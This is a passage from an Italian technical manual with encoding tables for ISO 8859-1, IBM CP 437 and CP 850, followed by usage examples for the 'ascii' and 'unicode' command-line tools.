341_8	225_{10}	$E1_{16}$	á	LATIN SMALL LETTER A WITH ACUTE
342_8	226_{10}	$E2_{16}$	â	LATIN SMALL LETTER A WITH CIRCUMFLEX
343_8	227_{10}	$E3_{16}$	ã	LATIN SMALL LETTER A WITH TILDE
344_8	228_{10}	$E4_{16}$	ä	LATIN SMALL LETTER A WITH DIAERESIS
345_8	229_{10}	$E5_{16}$	å	LATIN SMALL LETTER A WITH RING ABOVE
346_8	230_{10}	$E6_{16}$	æ	LATIN SMALL LETTER AE
347_8	231_{10}	$E7_{16}$	ç	LATIN SMALL LETTER C WITH CEDILLA
350_8	232_{10}	$E8_{16}$	è	LATIN SMALL LETTER E WITH GRAVE
351_8	233_{10}	$E9_{16}$	é	LATIN SMALL LETTER E WITH ACUTE
352_8	234_{10}	EA_{16}	ê	LATIN SMALL LETTER E WITH CIRCUMFLEX
353_8	235_{10}	EB_{16}	ë	LATIN SMALL LETTER E WITH DIAERESIS
354_8	236_{10}	EC_{16}	ì	LATIN SMALL LETTER I WITH GRAVE
355_8	237_{10}	ED_{16}	í	LATIN SMALL LETTER I WITH ACUTE
356_8	238_{10}	EE_{16}	î	LATIN SMALL LETTER I WITH CIRCUMFLEX
357_8	239_{10}	EF_{16}	ï	LATIN SMALL LETTER I WITH DIAERESIS
360_8	240_{10}	$F0_{16}$	ð	LATIN SMALL LETTER ETH
361_8	241_{10}	$F1_{16}$	ñ	LATIN SMALL LETTER N WITH TILDE
362_8	242_{10}	$F2_{16}$	ò	LATIN SMALL LETTER O WITH GRAVE
363_8	243_{10}	$F3_{16}$	ó	LATIN SMALL LETTER O WITH ACUTE
364_8	244_{10}	$F4_{16}$	ô	LATIN SMALL LETTER O WITH CIRCUMFLEX
365_8	245_{10}	$F5_{16}$	õ	LATIN SMALL LETTER O WITH TILDE
366_8	246_{10}	$F6_{16}$	ö	LATIN SMALL LETTER O WITH DIAERESIS
367_8	247_{10}	$F7_{16}$	÷	DIVISION SIGN
370_8	248_{10}	$F8_{16}$	ø	LATIN SMALL LETTER O WITH STROKE
371_8	249_{10}	$F9_{16}$	ù	LATIN SMALL LETTER U WITH GRAVE
372_8	250_{10}	FA_{16}	ú	LATIN SMALL LETTER U WITH ACUTE
373_8	251_{10}	FB_{16}	û	LATIN SMALL LETTER U WITH CIRCUMFLEX
374_8	252_{10}	FC_{16}	ü	LATIN SMALL LETTER U WITH DIAERESIS
375_8	253_{10}	FD_{16}	ý	LATIN SMALL LETTER Y WITH ACUTE
376_8	254_{10}	FE_{16}	þ	LATIN SMALL LETTER THORN
377_8	255_{10}	FF_{16}	ÿ	LATIN SMALL LETTER Y WITH DIAERESIS

58.7 IBM Code Page *nnn* Character Set

I primi elaboratori IBM con sistema operativo Dos hanno utilizzato delle codifiche particolari, denominate *code page*. Due tra le varie codifiche sono molto importanti: CP 437 e CP 850. La prima era la codifica predefinita, mentre la seconda era quella più utile per le lingue europee occidentali.

Tabella 58.12. Prima parte comune delle codifiche CP 437 e CP 850.

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
000_8	0_{10}	00_{16}	U+0000	*<NUL>*
001_8	1_{10}	01_{16}	U+263A	□
002_8	2_{10}	02_{16}	U+263B	□
003_8	3_{10}	03_{16}	U+2665	♥
004_8	4_{10}	04_{16}	U+2666	♦
005_8	5_{10}	05_{16}	U+2663	♣
006_8	6_{10}	06_{16}	U+2660	♠
007_8	7_{10}	07_{16}	U+2022	•
010_8	8_{10}	08_{16}	U+25D8	□
011_8	9_{10}	09_{16}	U+25CB	□
012_8	10_{10}	$0A_{16}$	U+25D9	□
013_8	11_{10}	$0B_{16}$	U+2642	□
014_8	12_{10}	$0C_{16}$	U+2640	□
015_8	13_{10}	$0D_{16}$	U+266A	□
016_8	14_{10}	$0E_{16}$	U+266B	□
017_8	15_{10}	$0F_{16}$	U+263C	□
020_8	16_{10}	10_{16}	U+25B6	□
021_8	17_{10}	11_{16}	U+25C0	□
022_8	18_{10}	12_{16}	U+2195	↕
023_8	19_{10}	13_{16}	U+203C	!!
024_8	20_{10}	14_{16}	U+00B6	¶
025_8	21_{10}	15_{16}	U+00A7	§
026_8	22_{10}	16_{16}	U+25AC	□
027_8	23_{10}	17_{16}	U+21A8	□
030_8	24_{10}	18_{16}	U+2191	↑
031_8	25_{10}	19_{16}	U+2193	v
032_8	26_{10}	$1A_{16}$	U+2192	→
033_8	27_{10}	$1B_{16}$	U+2190	←
034_8	28_{10}	$1C_{16}$	U+221F	□
035_8	29_{10}	$1D_{16}$	U+2194	↔
036_8	30_{10}	$1E_{16}$	U+25B2	▲
037_8	31_{10}	$1F_{16}$	U+25BC	▼
040_8	32_{10}	20_{16}	U+0020	
041_8	33_{10}	21_{16}	U+0021	!
042_8	34_{10}	22_{16}	U+0022	"
043_8	35_{10}	23_{16}	U+0023	#
044_8	36_{10}	24_{16}	U+0024	$
045_8	37_{10}	25_{16}	U+0025	%
046_8	38_{10}	26_{16}	U+0026	&
047_8	39_{10}	27_{16}	U+0027	’
050_8	40_{10}	28_{16}	U+0028	(
051_8	41_{10}	29_{16}	U+0029	)
052_8	42_{10}	$2A_{16}$	U+002A	*
053_8	43_{10}	$2B_{16}$	U+002B	+
054_8	44_{10}	$2C_{16}$	U+002C	,
055_8	45_{10}	$2D_{16}$	U+002D	-
056_8	46_{10}	$2E_{16}$	U+002E	.
057_8	47_{10}	$2F_{16}$	U+002F	/
060_8	48_{10}	30_{16}	U+0030	0
061_8	49_{10}	31_{16}	U+0031	1
062_8	50_{10}	32_{16}	U+0032	2
063_8	51_{10}	33_{16}	U+0033	3
064_8	52_{10}	34_{16}	U+0034	4

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
065_8	53_{10}	35_{16}	U+0035	5
066_8	54_{10}	36_{16}	U+0036	6
067_8	55_{10}	37_{16}	U+0037	7
070_8	56_{10}	38_{16}	U+0038	8
071_8	57_{10}	39_{16}	U+0039	9
072_8	58_{10}	$3A_{16}$	U+003A	:
073_8	59_{10}	$3B_{16}$	U+003B	;
074_8	60_{10}	$3C_{16}$	U+003C	<
075_8	61_{10}	$3D_{16}$	U+003D	=
076_8	62_{10}	$3E_{16}$	U+003E	>
077_8	63_{10}	$3F_{16}$	U+003F	?
100_8	64_{10}	40_{16}	U+0040	@
101_8	65_{10}	41_{16}	U+0041	A
102_8	66_{10}	42_{16}	U+0042	B
103_8	67_{10}	43_{16}	U+0043	C
104_8	68_{10}	44_{16}	U+0044	D
105_8	69_{10}	45_{16}	U+0045	E
106_8	70_{10}	46_{16}	U+0046	F
107_8	71_{10}	47_{16}	U+0047	G
110_8	72_{10}	48_{16}	U+0048	H
111_8	73_{10}	49_{16}	U+0049	I
112_8	74_{10}	$4A_{16}$	U+004A	J
113_8	75_{10}	$4B_{16}$	U+004B	K
114_8	76_{10}	$4C_{16}$	U+004C	L
115_8	77_{10}	$4D_{16}$	U+004D	M
116_8	78_{10}	$4E_{16}$	U+004E	N
117_8	79_{10}	$4F_{16}$	U+004F	O
120_8	80_{10}	50_{16}	U+0050	P
121_8	81_{10}	51_{16}	U+0051	Q
122_8	82_{10}	52_{16}	U+0052	R
123_8	83_{10}	53_{16}	U+0053	S
124_8	84_{10}	54_{16}	U+0054	T
125_8	85_{10}	55_{16}	U+0055	U
126_8	86_{10}	56_{16}	U+0056	V
127_8	87_{10}	57_{16}	U+0057	W
130_8	88_{10}	58_{16}	U+0058	X
131_8	89_{10}	59_{16}	U+0059	Y
132_8	90_{10}	$5A_{16}$	U+005A	Z
133_8	91_{10}	$5B_{16}$	U+005B	[
134_8	92_{10}	$5C_{16}$	U+005C	\
135_8	93_{10}	$5D_{16}$	U+005D	]
136_8	94_{10}	$5E_{16}$	U+005E	^
137_8	95_{10}	$5F_{16}$	U+005F	_
140_8	96_{10}	60_{16}	U+0060	‘
141_8	97_{10}	61_{16}	U+0061	a
142_8	98_{10}	62_{16}	U+0062	b
143_8	99_{10}	63_{16}	U+0063	c
144_8	100_{10}	64_{16}	U+0064	d
145_8	101_{10}	65_{16}	U+0065	e
146_8	102_{10}	66_{16}	U+0066	f
147_8	103_{10}	67_{16}	U+0067	g
150_8	104_{10}	68_{16}	U+0068	h
151_8	105_{10}	69_{16}	U+0069	i
152_8	106_{10}	$6A_{16}$	U+006A	j
153_8	107_{10}	$6B_{16}$	U+006B	k

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
154_8	108_{10}	$6C_{16}$	U+006C	l
155_8	109_{10}	$6D_{16}$	U+006D	m
156_8	110_{10}	$6E_{16}$	U+006E	n
157_8	111_{10}	$6F_{16}$	U+006F	o
160_8	112_{10}	70_{16}	U+0070	p
161_8	113_{10}	71_{16}	U+0071	q
162_8	114_{10}	72_{16}	U+0072	r
163_8	115_{10}	73_{16}	U+0073	s
164_8	116_{10}	74_{16}	U+0074	t
165_8	117_{10}	75_{16}	U+0075	u
166_8	118_{10}	76_{16}	U+0076	v
167_8	119_{10}	77_{16}	U+0077	w
170_8	120_{10}	78_{16}	U+0078	x
171_8	121_{10}	79_{16}	U+0079	y
172_8	122_{10}	$7A_{16}$	U+007A	z
173_8	123_{10}	$7B_{16}$	U+007B	{
174_8	124_{10}	$7C_{16}$	U+007C	|
175_8	125_{10}	$7D_{16}$	U+007D	}
176_8	126_{10}	$7E_{16}$	U+007E	~
177_8	127_{10}	$7F_{16}$	U+2302	⌂

Tabella 58.13. Seconda parte della codifica CP 437.

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
200_8	128_{10}	80_{16}	U+00C7	Ç
201_8	129_{10}	81_{16}	U+00FC	ü
202_8	130_{10}	82_{16}	U+00E9	é
203_8	131_{10}	83_{16}	U+00E2	â
204_8	132_{10}	84_{16}	U+00E4	ä
205_8	133_{10}	85_{16}	U+00E3	ã
206_8	134_{10}	86_{16}	U+00E5	å
207_8	135_{10}	87_{16}	U+00E7	ç
210_8	136_{10}	88_{16}	U+00EA	ê
211_8	137_{10}	89_{16}	U+00EB	ë
212_8	138_{10}	$8A_{16}$	U+00E8	è
213_8	139_{10}	$8B_{16}$	U+00EF	ï
214_8	140_{10}	$8C_{16}$	U+00EE	î
215_8	141_{10}	$8D_{16}$	U+00EC	ì
216_8	142_{10}	$8E_{16}$	U+00C4	Ä
217_8	143_{10}	$8F_{16}$	U+00C5	Å
220_8	144_{10}	90_{16}	U+00C9	É
221_8	145_{10}	91_{16}	U+00E6	æ
222_8	146_{10}	92_{16}	U+00C6	Æ
223_8	147_{10}	93_{16}	U+00F4	ô
224_8	148_{10}	94_{16}	U+00F6	ö
225_8	149_{10}	95_{16}	U+00F2	ò
226_8	150_{10}	96_{16}	U+00FB	û
227_8	151_{10}	97_{16}	U+00F9	ù
230_8	152_{10}	98_{16}	U+00FF	ÿ
231_8	153_{10}	99_{16}	U+00D6	Ö
232_8	154_{10}	$9A_{16}$	U+00DC	Ü
233_8	155_{10}	$9B_{16}$	U+00F8	ø
234_8	156_{10}	$9C_{16}$	U+00A3	£
235_8	157_{10}	$9D_{16}$	U+00A5	¥

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
236_8	158_{10}	$9E_{16}$	U+20A7	□
237_8	159_{10}	$9F_{16}$	U+0192	ƒ
240_8	160_{10}	$A0_{16}$	U+00E1	á
241_8	161_{10}	$A1_{16}$	U+00ED	í
242_8	162_{10}	$A2_{16}$	U+00F3	ó
243_8	163_{10}	$A3_{16}$	U+00FA	ú
244_8	164_{10}	$A4_{16}$	U+00F1	ñ
245_8	165_{10}	$A5_{16}$	U+00D1	Ñ
246_8	166_{10}	$A6_{16}$	U+00AA	ª
247_8	167_{10}	$A7_{16}$	U+00BA	º
250_8	168_{10}	$A8_{16}$	U+00BF	¿
251_8	169_{10}	$A9_{16}$	U+00AE	®
252_8	170_{10}	AA_{16}	U+00AC	¬
253_8	171_{10}	AB_{16}	U+00BD	½
254_8	172_{10}	AC_{16}	U+00BC	¼
255_8	173_{10}	AD_{16}	U+00A1	¡
256_8	174_{10}	AE_{16}	U+00AB	«
257_8	175_{10}	AF_{16}	U+00BB	»
260_8	176_{10}	$B0_{16}$	U+2591	□
261_8	177_{10}	$B1_{16}$	U+2592	□
262_8	178_{10}	$B2_{16}$	U+2593	□
263_8	179_{10}	$B3_{16}$	U+2502	|
264_8	180_{10}	$B4_{16}$	U+2524	|
265_8	181_{10}	$B5_{16}$	U+2561	□
266_8	182_{10}	$B6_{16}$	U+2562	□
267_8	183_{10}	$B7_{16}$	U+2556	□
270_8	184_{10}	$B8_{16}$	U+2555	□
271_8	185_{10}	$B9_{16}$	U+2563	□
272_8	186_{10}	BA_{16}	U+2551	□
273_8	187_{10}	BB_{16}	U+2557	□
274_8	188_{10}	BC_{16}	U+255D	□
275_8	189_{10}	BD_{16}	U+255C	□
276_8	190_{10}	BE_{16}	U+255B	□
277_8	191_{10}	BF_{16}	U+2510	·
300_8	192_{10}	$C0_{16}$	U+2514	‘
301_8	193_{10}	$C1_{16}$	U+2534	□
302_8	194_{10}	$C2_{16}$	U+252C	□
303_8	195_{10}	$C3_{16}$	U+251C	|
304_8	196_{10}	$C4_{16}$	U+2500	-
305_8	197_{10}	$C5_{16}$	U+253C	□
306_8	198_{10}	$C6_{16}$	U+255E	□
307_8	199_{10}	$C7_{16}$	U+255F	□
310_8	200_{10}	$C8_{16}$	U+255A	□
311_8	201_{10}	$C9_{16}$	U+2554	□
312_8	202_{10}	CA_{16}	U+2569	□
313_8	203_{10}	CB_{16}	U+2566	□
314_8	204_{10}	CC_{16}	U+2560	□
315_8	205_{10}	CD_{16}	U+2550	□
316_8	206_{10}	CE_{16}	U+256C	□
317_8	207_{10}	CF_{16}	U+2567	□
320_8	208_{10}	$D0_{16}$	U+2568	□
321_8	209_{10}	$D1_{16}$	U+2564	□
322_8	210_{10}	$D2_{16}$	U+2565	□
323_8	211_{10}	$D3_{16}$	U+2559	□
324_8	212_{10}	$D4_{16}$	U+2558	□

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
325_8	213_{10}	$D5_{16}$	U+2552	□
326_8	214_{10}	$D6_{16}$	U+2553	□
327_8	215_{10}	$D7_{16}$	U+256B	□
330_8	216_{10}	$D8_{16}$	U+256A	□
331_8	217_{10}	$D9_{16}$	U+2518	’
332_8	218_{10}	DA_{16}	U+250C	.
333_8	219_{10}	DB_{16}	U+2588	□
334_8	220_{10}	DC_{16}	U+2584	□
335_8	221_{10}	DD_{16}	U+258C	□
336_8	222_{10}	DE_{16}	U+2590	□
337_8	223_{10}	DF_{16}	U+2580	□
340_8	224_{10}	$E0_{16}$	U+03B1	α
341_8	225_{10}	$E1_{16}$	U+00DF	ß
342_8	226_{10}	$E2_{16}$	U+0393	Γ
343_8	227_{10}	$E3_{16}$	U+03C0	π
344_8	228_{10}	$E4_{16}$	U+03A3	Σ
345_8	229_{10}	$E5_{16}$	U+03C3	σ
346_8	230_{10}	$E6_{16}$	U+00B5	μ
347_8	231_{10}	$E7_{16}$	U+03C4	τ
350_8	232_{10}	$E8_{16}$	U+03A6	Φ
351_8	233_{10}	$E9_{16}$	U+0398	Θ
352_8	234_{10}	EA_{16}	U+03A9	Ω
353_8	235_{10}	EB_{16}	U+03B4	δ
354_8	236_{10}	EC_{16}	U+221E	∞
355_8	237_{10}	ED_{16}	U+03C6	ϕ
356_8	238_{10}	EE_{16}	U+03B5	ε
357_8	239_{10}	EF_{16}	U+2229	∩
360_8	240_{10}	$F0_{16}$	U+2261	≡
361_8	241_{10}	$F1_{16}$	U+00B1	±
362_8	242_{10}	$F2_{16}$	U+2265	≥
363_8	243_{10}	$F3_{16}$	U+2264	≤
364_8	244_{10}	$F4_{16}$	U+2320	⌠
365_8	245_{10}	$F5_{16}$	U+2321	⌡
366_8	246_{10}	$F6_{16}$	U+00F7	÷
367_8	247_{10}	$F7_{16}$	U+2248	≈
370_8	248_{10}	$F8_{16}$	U+00B0	°
371_8	249_{10}	$F9_{16}$	U+2219	•
372_8	250_{10}	FA_{16}	U+00B7	·
373_8	251_{10}	FB_{16}	U+221A	√
374_8	252_{10}	FC_{16}	U+207F	^{n}
375_8	253_{10}	FD_{16}	U+00B2	^{2}
376_8	254_{10}	FE_{16}	U+25A0	■
377_8	255_{10}	FF_{16}	U+00A0	

Tabella 58.14. Seconda parte della codifica CP 850.

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
200_8	128_{10}	80_{16}	U+00C7	Ç
201_8	129_{10}	81_{16}	U+00FC	ü
202_8	130_{10}	82_{16}	U+00E9	é
203_8	131_{10}	83_{16}	U+00E2	â
204_8	132_{10}	84_{16}	U+00E4	ä
205_8	133_{10}	85_{16}	U+00E3	ã
206_8	134_{10}	86_{16}	U+00E5	å

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
207_8	135_{10}	87_{16}	U+00E7	ç
210_8	136_{10}	88_{16}	U+00EA	ê
211_8	137_{10}	89_{16}	U+00EB	ë
212_8	138_{10}	$8A_{16}$	U+00E8	è
213_8	139_{10}	$8B_{16}$	U+00EF	ï
214_8	140_{10}	$8C_{16}$	U+00EE	î
215_8	141_{10}	$8D_{16}$	U+00EC	ì
216_8	142_{10}	$8E_{16}$	U+00C4	Ä
217_8	143_{10}	$8F_{16}$	U+00C5	Å
220_8	144_{10}	90_{16}	U+00C9	É
221_8	145_{10}	91_{16}	U+00E6	æ
222_8	146_{10}	92_{16}	U+00C6	Æ
223_8	147_{10}	93_{16}	U+00F4	ô
224_8	148_{10}	94_{16}	U+00F6	ö
225_8	149_{10}	95_{16}	U+00F2	ò
226_8	150_{10}	96_{16}	U+00FB	û
227_8	151_{10}	97_{16}	U+00F9	ù
230_8	152_{10}	98_{16}	U+00FF	ÿ
231_8	153_{10}	99_{16}	U+00D6	Ö
232_8	154_{10}	$9A_{16}$	U+00DC	Ü
233_8	155_{10}	$9B_{16}$	U+00F8	ø
234_8	156_{10}	$9C_{16}$	U+00A3	£
235_8	157_{10}	$9D_{16}$	U+00D8	Ø
236_8	158_{10}	$9E_{16}$	U+00D7	×
237_8	159_{10}	$9F_{16}$	U+0192	ƒ
240_8	160_{10}	$A0_{16}$	U+00E1	á
241_8	161_{10}	$A1_{16}$	U+00ED	í
242_8	162_{10}	$A2_{16}$	U+00F3	ó
243_8	163_{10}	$A3_{16}$	U+00FA	ú
244_8	164_{10}	$A4_{16}$	U+00F1	ñ
245_8	165_{10}	$A5_{16}$	U+00D1	Ñ
246_8	166_{10}	$A6_{16}$	U+00AA	ª
247_8	167_{10}	$A7_{16}$	U+00BA	º
250_8	168_{10}	$A8_{16}$	U+00BF	¿
251_8	169_{10}	$A9_{16}$	U+00AE	®
252_8	170_{10}	AA_{16}	U+00AC	¬
253_8	171_{10}	AB_{16}	U+00BD	½
254_8	172_{10}	AC_{16}	U+00BC	¼
255_8	173_{10}	AD_{16}	U+00A1	¡
256_8	174_{10}	AE_{16}	U+00AB	«
257_8	175_{10}	AF_{16}	U+00BB	»
260_8	176_{10}	$B0_{16}$	U+2591	□
261_8	177_{10}	$B1_{16}$	U+2592	□
262_8	178_{10}	$B2_{16}$	U+2593	□
263_8	179_{10}	$B3_{16}$	U+2502	│
264_8	180_{10}	$B4_{16}$	U+2524	│
265_8	181_{10}	$B5_{16}$	U+00C1	Á
266_8	182_{10}	$B6_{16}$	U+00C1	Á
267_8	183_{10}	$B7_{16}$	U+00C0	À
270_8	184_{10}	$B8_{16}$	U+00A9	©
271_8	185_{10}	$B9_{16}$	U+2563	□
272_8	186_{10}	BA_{16}	U+2551	□
273_8	187_{10}	BB_{16}	U+2557	□
274_8	188_{10}	BC_{16}	U+255D	□
275_8	189_{10}	BD_{16}	U+00A2	¢

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
276_8	190_{10}	BE_{16}	U+00A5	¥
277_8	191_{10}	BF_{16}	U+2510	·
300_8	192_{10}	$C0_{16}$	U+2514	‘
301_8	193_{10}	$C1_{16}$	U+2534	□
302_8	194_{10}	$C2_{16}$	U+252C	□
303_8	195_{10}	$C3_{16}$	U+251C	|
304_8	196_{10}	$C4_{16}$	U+2500	-
305_8	197_{10}	$C5_{16}$	U+253C	□
306_8	198_{10}	$C6_{16}$	U+00E3	ã
307_8	199_{10}	$C7_{16}$	U+00C3	Ã
310_8	200_{10}	$C8_{16}$	U+255A	□
311_8	201_{10}	$C9_{16}$	U+2554	□
312_8	202_{10}	CA_{16}	U+2569	□
313_8	203_{10}	CB_{16}	U+2566	□
314_8	204_{10}	CC_{16}	U+2560	□
315_8	205_{10}	CD_{16}	U+2550	□
316_8	206_{10}	CE_{16}	U+256C	□
317_8	207_{10}	CF_{16}	U+00A4	¤
320_8	208_{10}	$D0_{16}$	U+00F0	ð
321_8	209_{10}	$D1_{16}$	U+00D0	Ð
322_8	210_{10}	$D2_{16}$	U+00CA	Ê
323_8	211_{10}	$D3_{16}$	U+00CB	Ë
324_8	212_{10}	$D4_{16}$	U+00C8	È
325_8	213_{10}	$D5_{16}$	U+0131	ı
326_8	214_{10}	$D6_{16}$	U+00CD	Í
327_8	215_{10}	$D7_{16}$	U+00CE	Î
330_8	216_{10}	$D8_{16}$	U+00CF	Ï
331_8	217_{10}	$D9_{16}$	U+2518	’
332_8	218_{10}	DA_{16}	U+250C	.
333_8	219_{10}	DB_{16}	U+2588	□
334_8	220_{10}	DC_{16}	U+2584	□
335_8	221_{10}	DD_{16}	U+00A6	¦
336_8	222_{10}	DE_{16}	U+00CC	Ì
337_8	223_{10}	DF_{16}	U+2580	□
340_8	224_{10}	$E0_{16}$	U+00D3	Ó
341_8	225_{10}	$E1_{16}$	U+00DF	ß
342_8	226_{10}	$E2_{16}$	U+00D4	Ô
343_8	227_{10}	$E3_{16}$	U+00D2	Ò
344_8	228_{10}	$E4_{16}$	U+00F5	õ
345_8	229_{10}	$E5_{16}$	U+00D5	Õ
346_8	230_{10}	$E6_{16}$	U+00B5	µ
347_8	231_{10}	$E7_{16}$	U+00FE	þ
350_8	232_{10}	$E8_{16}$	U+00DE	Þ
351_8	233_{10}	$E9_{16}$	U+00DA	Ú
352_8	234_{10}	EA_{16}	U+00DB	Û
353_8	235_{10}	EB_{16}	U+00D9	Ù
354_8	236_{10}	EC_{16}	U+00FD	ý
355_8	237_{10}	ED_{16}	U+00DD	Ý
356_8	238_{10}	EE_{16}	U+00AF	¯
357_8	239_{10}	EF_{16}	U+00B4	´
360_8	240_{10}	$F0_{16}$	U+00AD	
361_8	241_{10}	$F1_{16}$	U+00B1	±
362_8	242_{10}	$F2_{16}$	U+2017	□
363_8	243_{10}	$F3_{16}$	U+00BE	¾
364_8	244_{10}	$F4_{16}$	U+00B6	¶

Ottale	Decimale	Esadecimale	Codice corrispondente nell'insieme di caratteri universale	Aspetto
365_8	245_{10}	$F5_{16}$	U+00A7	§
366_8	246_{10}	$F6_{16}$	U+00F7	÷
367_8	247_{10}	$F7_{16}$	U+00B8	¸
370_8	248_{10}	$F8_{16}$	U+00B0	°
371_8	249_{10}	$F9_{16}$	U+00A8	¨
372_8	250_{10}	FA_{16}	U+00B7	·
373_8	251_{10}	FB_{16}	U+00B9	¹
374_8	252_{10}	FC_{16}	U+00B3	³
375_8	253_{10}	FD_{16}	U+00B2	²
376_8	254_{10}	FE_{16}	U+25A0	■
377_8	255_{10}	FF_{16}	U+00A0	

58.8 Utilizzo di «ascii»

Il programma '**ascii**'[4] consente di ottenere facilmente informazioni su un certo carattere appartenente alla codifica ASCII, ovvero ai primi 127 punti di codifica.

ascii [***opzioni***] [***carattere***]...

Generalmente, si utilizza il programma specificando nella riga di comando uno o più caratteri, di cui si vogliono maggiori informazioni. I caratteri possono essere indicati letteralmente (ammesso che ciò sia possibile), oppure attraverso una forma alternativa, purché sia stata prevista.

Tabella 58.15. Alcune modalità con cui si può indicare un carattere nella riga di comando.

Forma	Descrizione
x	Se possibile, il carattere può essere indicato in forma letterale.
^***x***	La maggior parte dei caratteri di controllo può essere specificata secondo la forma '**^*x***'.
x	Alcuni caratteri di controllo possono essere rappresentati in questo modo, che si rifà alle convenzioni del linguaggio C.
nome	I caratteri di controllo possono essere indicati per nome.
0x***n*** x***n*** \x***n***	Si tratta di forme equivalenti per indicare il punto di codifica del carattere in esadecimale.
0d***n*** d***n*** \d***n***	Si tratta di forme equivalenti per indicare il punto di codifica del carattere in decimale.

Forma	Descrizione
`0o`***n*** `o`***n*** `\o`***n***	Si tratta di forme equivalenti per indicare il punto di codifica del carattere in ottale.
`0b`***n*** `b`***n*** `\b`***n***	Si tratta di forme equivalenti per indicare il punto di codifica del carattere in binario.

Le opzioni della riga di comando non vengono descritte; si veda eventualmente la pagina di manuale *ascii(1)*. Vengono mostrati alcuni esempi.

`$` **`ascii`** [*Invio*]

In questo modo si ottiene una guida rapida all'utilizzo del programma, assieme al riepilogo della tabella ASCII. Si osservi che si ottiene lo stesso risultato con l'opzione '**`-h`**'.

```
Usage: ascii [-dxohv] [-t] [char-alias...]
   -t = one-line output  -d = Decimal table  -o = octal table  -x = hex table
   -h = This help screen -v = version information
Prints all aliases of an ASCII character. Args may be chars, C \-escapes,
English names, ^-escapes, ASCII mnemonics, or numerics in decimal/octal/hex.

Dec Hex    Dec Hex    Dec Hex  Dec Hex  Dec Hex  Dec Hex   Dec Hex   Dec Hex
  0 00 NUL  16 10 DLE  32 20    48 30 0  64 40 @  80 50 P   96 60 `  112 70 p
  1 01 SOH  17 11 DC1  33 21 !  49 31 1  65 41 A  81 51 Q   97 61 a  113 71 q
  2 02 STX  18 12 DC2  34 22 "  50 32 2  66 42 B  82 52 R   98 62 b  114 72 r
  3 03 ETX  19 13 DC3  35 23 #  51 33 3  67 43 C  83 53 S   99 63 c  115 73 s
  4 04 EOT  20 14 DC4  36 24 $  52 34 4  68 44 D  84 54 T  100 64 d  116 74 t
  5 05 ENQ  21 15 NAK  37 25 %  53 35 5  69 45 E  85 55 U  101 65 e  117 75 u
  6 06 ACK  22 16 SYN  38 26 &  54 36 6  70 46 F  86 56 V  102 66 f  118 76 v
  7 07 BEL  23 17 ETB  39 27 '  55 37 7  71 47 G  87 57 W  103 67 g  119 77 w
  8 08 BS   24 18 CAN  40 28 (  56 38 8  72 48 H  88 58 X  104 68 h  120 78 x
  9 09 HT   25 19 EM   41 29 )  57 39 9  73 49 I  89 59 Y  105 69 i  121 79 y
 10 0A LF   26 1A SUB  42 2A *  58 3A :  74 4A J  90 5A Z  106 6A j  122 7A z
 11 0B VT   27 1B ESC  43 2B +  59 3B ;  75 4B K  91 5B [  107 6B k  123 7B {
 12 0C FF   28 1C FS   44 2C ,  60 3C <  76 4C L  92 5C \  108 6C l  124 7C |
 13 0D CR   29 1D GS   45 2D -  61 3D =  77 4D M  93 5D ]  109 6D m  125 7D }
 14 0E SO   30 1E RS   46 2E .  62 3E >  78 4E N  94 5E ^  110 6E n  126 7E ~
 15 0F SI   31 1F US   47 2F /  63 3F ?  79 4F O  95 5F _  111 6F o  127 7F DEL
```

`$` **`ascii ETX`** [*Invio*]

L'argomento rappresenta il nome di un codice di controllo secondo le convenzioni della codifica ASCII. Si può osservare che questo carattere si può rappresentare, convenzionalmente, anche con la sequenza <*^C*>.

```
ASCII 0/3 is decimal 003, hex 03, octal 003, bits 00000011: called ^C, ETX
Official name: End of Text
```

$ **ascii ^c** [*Invio*]

Si ottiene esattamente lo stesso risultato dell'esempio precedente.

$ **ascii a b c** [*Invio*]

Mostra le informazioni sui tre caratteri inseriti:

```
ASCII 6/1 is decimal 097, hex 61, octal 141, bits 01100001: prints as 'a'
Official name: Miniscule a
Other names: Small a, Lowercase a

ASCII 6/2 is decimal 098, hex 62, octal 142, bits 01100010: prints as 'b'
Official name: Miniscule b
Other names: Small b, Lowercase b

ASCII 6/3 is decimal 099, hex 63, octal 143, bits 01100011: prints as 'c'
Official name: Miniscule c
Other names: Small c, Lowercase c
```

$ **ascii -t a b c** [*Invio*]

Mostra alcune informazioni sui caratteri indicati come argomento finale:

```
6/1   97   0x61   0o141   01100001
6/2   98   0x62   0o142   01100010
6/3   99   0x63   0o143   01100011
```

$ **ascii -s abc** [*Invio*]

Mostra alcune informazioni sui caratteri che compongono la stringa fornita come argomento finale:

```
6/1   97   0x61   0o141   01100001
6/2   98   0x62   0o142   01100010
6/3   99   0x63   0o143   01100011
```

58.9 Utilizzo di «unicode»

Il programma '**unicode**'[5] consente di ottenere facilmente informazioni su un certo carattere, secondo la classificazione della codifica universale.

unicode [***opzioni***] [***carattere_o_stringa***]...

Gli argomenti finali della riga di comando possono essere caratteri singoli, oppure stringhe; l'indicazione di una stringa implica la richiesta di avere informazioni su tutti i caratteri che contiene. I caratteri cercati possono essere indicati letteralmente, oppure attraverso altre forme, come documentato nella pagina di manuale *unicode(1)*, ma generalmente conviene limitarsi all'uso della notazione tipica per Unicode: '**U+*n***', dove ***n*** è un numero del punto di codifica espresso in esadecimale.

Tabella 58.21. Alcune modalità con cui si possono indicare i caratteri nella riga di comando.

Forma	Descrizione
x	Se possibile, il carattere può essere indicato in forma letterale.
`U+`***n*** ***n***	Rappresenta il punto di codifica in esadecimale.
`U+`***n***`..U+`***m*** ***n***`..`***m***	Rappresenta un intervallo di punti di codifica e si usa per ottenere la tabella dei codici relativi.

Sono disponibili delle opzioni, che generalmente non è necessario utilizzare; eventualmente si può consultare la pagina di manuale *unicode(1)*. Vengono mostrati alcuni esempi.

$ **unicode à** [*Invio*]

Richiede informazioni sulla lettera «à» (a minuscola con accento grave).

```
U+00E0 LATIN SMALL LETTER A WITH GRAVE
